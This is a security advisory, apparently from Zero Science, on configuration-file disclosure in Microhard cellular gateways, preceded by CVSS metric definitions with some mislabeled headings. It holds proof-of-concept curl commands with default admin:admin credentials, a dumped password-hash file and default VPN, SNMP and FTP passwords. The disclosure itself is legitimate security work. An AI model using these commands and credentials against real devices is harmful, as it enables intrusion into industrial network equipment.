The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Microhard Systems 3G/4G Cellular Ethernet And Serial Gateway Configuration Download
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: The system backup configuration file 'IPn4G.config' in '/' directory or its respective
name based on the model name including the similar files in '/www/cgi-bin/system.conf', '/tmp'
and the cli.conf in '/etc/m_cli/' can be downloaded by an authenticated attacker in certain
circumstances. This will enable the attacker to disclose sensitive information and help her
in authentication bypass, privilege escalation and/or full system access.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5484
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5484.php
13.03.2018
--
/etc/m_cli/cli.conf:
--------------------
curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc/m_cli&savefile=cli.conf" -H "Authorization: Basic YWRtaW46YWRtaW4=" |grep passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2719 100 2719 0 0 2574 0 0:00:01 0:00:01 --:--:-- 2577
passwd admin
/www/IPn4G.config:
------------------
lqwrm@metalgear:~$ curl http://192.168.1.1/IPn4G.config -o IPn4G.tar.gz -H "Authorization: Basic YWRtaW46YWRtaW4="
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 13156 100 13156 0 0 9510 0 0:00:01 0:00:01 --:--:-- 9512
lqwrm@metalgear:~$ tar -zxf IPn4G.tar.gz ; ls
config.boardinfo config.boardtype config.date config.name etc IPn4G.tar.gz usr
lqwrm@metalgear:~$ cat config.boardinfo config.boardtype config.date config.name
2012 Microhard Systems Inc.:IPn4Gb-IPn4G:v1.0.0
Atheros AR7130 rev 2
Thu Jul 12 12:42:42 PDT 2018
IPn4G
lqwrm@metalgear:~$ cat usr/lib/hardware_desc
modem_type="N930"
LTE_ATCOMMAND_PORT="/dev/ttyACM0"
LTE_DIAG_PORT=""
LTE_GPS_PORT=""
wificard = "0"
lqwrm@metalgear:~$ ls etc/
config crontabs dropbear ethers firewall.user hosts httpd.conf passwd ssl
lqwrm@metalgear:~$ ls etc/config/
comport dhcp gpsgatetr iperf modbusd notes sdpServer twatchdog webif_access_control
comport2 dropbear gpsr ipsec msmscomd ntpclient snmpd updatedd websockserver
coova-chilli ethernet gpsrecorderd keepalive msshc ntrd snmpd.conf vlan wireless
cron eurd gre-tunnels localmonitor network pimd system vnstat wsclient
crontabs firewall httpd lte network_IPnVTn3G ping timezone vpnc
datausemonitor gpsd ioports lte362 network_VIP4G salertd tmpstatus webif
lqwrm@metalgear:~$ cat etc/passwd
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh
/www/cgi-bin/system.conf:
-------------------------
lqwrm@metalgear:~$ curl -O http://192.168.1.1/cgi-bin/system.conf -H "Authorization: Basic YWRtaW46YWRtaW4="
lqwrm@metalgear:~$ cat system.conf |grep -irnH "password" -A2
system.conf:236:#VPN Admin Password:
system.conf-237-NetWork_IP_VPN_Passwd=admin
system.conf-238-
--
system.conf:309:#V3 Authentication Password:
system.conf:310:NetWork_SNMP_V3_Auth_Password=00000000
system.conf-311-
system.conf:312:#V3 Privacy Password:
system.conf:313:NetWork_SNMP_V3_Privacy_Password=00000000
Login to FTP (upgrade:admin). In /tmp/ or /tmp/upgrade/ the system.conf (gzipped) is located.
---------------------------------------------------------------------------------------------
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